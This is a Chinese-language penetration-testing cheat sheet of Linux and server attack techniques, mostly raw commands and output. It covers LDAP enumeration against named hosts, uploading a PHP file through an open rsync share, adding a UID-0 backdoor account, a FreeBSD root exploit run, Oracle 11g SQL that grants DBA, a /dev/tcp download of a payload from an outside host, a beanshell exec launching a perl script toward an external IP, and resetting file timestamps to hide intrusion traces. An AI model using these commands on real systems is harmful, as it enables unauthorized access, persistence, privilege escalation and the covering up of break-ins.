总结Linux的一些渗透技巧



一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D “cn=administrator,cn=People,dc=unix-center,dc=net” -b “cn=administrator,cn=People,dc=unix-center,dc=net” -h 192.168.2.2
有密码形式
ldapsearch -x -W -D “cn=administrator,cn=People,dc=unix-center,dc=net” -b “cn=administrator,cn=People,dc=unix-center,dc=net” -h 192.168.2.2

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D “cn=administrator,cn=People,dc=unix-center,dc=net” -b “cn=administrator,cn=People,dc=unix-center,dc=net” -h 192.168.2.2
有密码形式
ldapsearch -x -W -D “cn=administrator,cn=People,dc=unix-center,dc=net” -b “cn=administrator,cn=People,dc=unix-center,dc=net” -h 192.168.2.2

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b “dc=ruc,dc=edu,dc=cn” -s sub “objectclass=*”
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: superadmin
cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: admin
cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous

2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b “dc=ruc,dc=edu,dc=cn” -s base “objectclass=*” | more
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b “” -s base “objectclass=*”
version: 1
dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn

渗透使用的脚本见附件

二. NFS渗透技巧
showmount -e ip
列举IP

渗透动画:

三.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
img_finance
auto
img_auto
html_cms
img_cms
ent_cms
ent_img
ceshi
res_img
res_img_c2
chip
chip_c2
ent_icms
games
gamesimg
media
mediaimg
fashion
res-fashion
res-fo
taobao-home
res-taobao-home
house
res-house
res-home
res-edu
res-ent
res-labs
res-news
res-phtv
res-media
home
edu
news
res-book

看相应的下级目录(注意一定要在目录后面添加上/)

rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
成功上传
楼上就是实战的技巧

四.squid渗透技巧
nc -vv 91ri.org 80
GET HTTP://www.91ri.org / HTTP/1.0
GET HTTP://www.91ri.org :22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-15&catid=32:languages&Itemid=47

重新设置密码
index.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()
* [!] nmount error: -1030740736
* nmount: Unknown error: -1030740736
* [argp@julius ~]$ id
* uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp)

九.ldap技巧更新(xi4oyu提供)
ldapsearch -x -s base -b “” “objectClass=*” +
能够获得LDAP SERVER version naming context 加密选项，认证方式等详细的信息。

ldapsearch -x -b ” -s base ‘(objectclass=*)’ namingContexts

获取namingContexts

具体的 oid信息可以在：http://www.alvestrand.no/objectid/top.html查到

列树

ldapsearch -x -H ldap://xxxxx/

猜测，看是否可写

ldapadd …..

找slapd.conf

openldap/ldap.conf

local:

slapcat

十.memcached渗透技巧
memcached telnet操作

telnet localhost 11211
//保存
set good 32 0 10
helloworld
STORED

//取回
gets good
VALUE good 32 10 10
helloworld
END

//替换
replace good 32 0 10
worldhello
STORED
get good
VALUE good 32 10
worldhello
END

//尾部添加
append good 32 0 5
after
STORED
get good
VALUE good 32 15
worldhelloafter
END

//头部添加
prepend good 32 0 6
before
STORED
get good
VALUE good 32 21
beforeworldhelloafter
END

//删除
delete good
DELETED
get good
END

delete good
NOT_FOUND

cas good 32 0 10 hel
helloworld
EXISTS

gets good
VALUE good 32 10 10
helloworld
END

cas bad 32 0 10 good
worldhello
NOT_FOUND

//统计

使用usr/bin/perl /root/memcached-1.2.6/scripts/memcached-tool localhost:11211
output
# Item_Size   Max_age 1MB_pages Count   Full?
1      88 B     1531 s       1       1      no
2     112 B        0 s       1       0      no
5     232 B        0 s       1       0      no

# slab class编号
Item_Size Chunk大小
Max_age LRU内最旧的记录的生存时间
1MB_pages 分配给Slab的页数
Count Slab内的记录数
Full? Slab内是否含有空闲chunk

十一.无wget下载文件
假设要下载http://yese.yi.org/c.pl

exec 5<>/dev/tcp/yese.yi.org/80 &&echo -e “GET /c.pl HTTP/1.0n” >&5 && cat<&5 > c.pl

当然http头你要自己去掉

当然，你用nc -l -p 80 <c.pl 就不用这么麻烦了

十二.ORACLE 11G提权
DBMS_JVM_EXP_PERMS 中的IMPORT_JVM_PERMS

判断登陆权限
select * from session_privs;
CREATE SESSION

select * from session_roles;

select TYPE_NAME, NAME, ACTION FROM SYS.DBA_JAVA_POLICY WHERE GRANTEE = ‘GREMLIN(用户名)’;

DESC JAVA$POLICY$

DECLARE
POL DBMS_JVM_EXP.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT ‘GRANT’ USER(), ‘SYS’, ‘java.io.FilePermission’, ‘<<ALL FILES>>’, ‘execute’, ‘ENABLE’ FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

connect / as sysdba
COL TYPE_NAME FOR A30;
COL NAME FOR A30;
COL_ACTION FOR A10;
SELECT TYPE_NAME, NAME, ACTION FROM SYS.DBA_JAVA_POLICY WHERE GRANTEE = ‘用户’;

connect 普通用户
set serveroutput on
exec dbms_java.set_output(10000);

SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA(‘ID’, ‘oracle/aurora/rdbms/DbmsJava’, ‘SYS’, ‘writeOutputToFile’, ‘TEXT’, NULL, NULL, NULL, NULL,0,1,1,1,1,0, ‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;’BEGIN EXECUTE IMMEDIATE ”GRANT DBA TO 用户”; END;’, ‘BEGIN NULL; END;’) FROM DUAL;

EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOWS(‘NO_SUCH_SUBSCRIPTION’, SYSDATE());

set role dba;

select * from session_privs;

EXEC SYS.VULNPROC(‘FOO”||DBMS_JAVA.SET_OUTPUT_TO_SQL(“ID”,”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE””GRANT DBA TO PUBLIC””;DBMS_OUTPUT.PUT_LINE(:1);END;”,”TEXT”)||”BAR’);

SELECT DBMS_JAVA.RUNJAVA(‘oracle/aurora/util/Test’) FROM DUAL;

SET ROLE DBA;

十三:beanshell渗透技巧
exec(“/usr/bin/perl /var/tmp/c.pl 218.56.57.151 53”);
实例:XXX易多台beanshell漏洞咋不发布,等漏洞修补发布

十四.cvs渗透技巧
CVSROOT/passwd UNIX SHA1的密码文件
CVSROOT/readers
CVSROOT/writers
CVS/Root
CVS/Entries 更新的文件和目录内容
CVS/Repository

十五.修改上传文件时间戳(掩盖入侵痕迹)
touch -r 老文件时间戳 新文件时间戳

十六.Weblogin Script Tool(WLST)

写入到configconfig.xml

1.进行修改:
wlserver_10.0serverbinsetWLSenv.sh
2.启动WLST
java weblogic.WLST

wls:/offline> connect(‘admin’, ‘admin’, ‘t3://127.0.0.1:7001′)
wls:/bbk/serverConfig> help()

wls:/bbk/serverConfig> edit()
wls:/bbk/serverConfig> cd(‘Servers’)
wls:/bbk/serverConfig/Server-cnbird> cd(‘Log’)
wls:/bbk/serverConfig/Server-cnbird/log> cd(‘Server-cnbird’)
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird> startEdit()
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> set(‘FileCount’, ‘4′)
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> save()
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> activate() 提交对应Active Change
wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> disconnect()
wls:/offline> exit()

3.批处理:
保存以上命令为cnbird.py
connect(‘admin’, ‘admin’, ‘t3://127.0.0.1:7001′)
cd(‘Servers’)
cd(‘Log’)
cd(‘Server-cnbird’)
startEdit()
set(‘FileCount’, ‘4′)
save()
然后执行java weblogic.WLST cnbird.py

一句话修改linux密码(来自包总blog)
echo “11111″|passwd –stdin user111
echo “cnbird:cnbird”|chpasswd
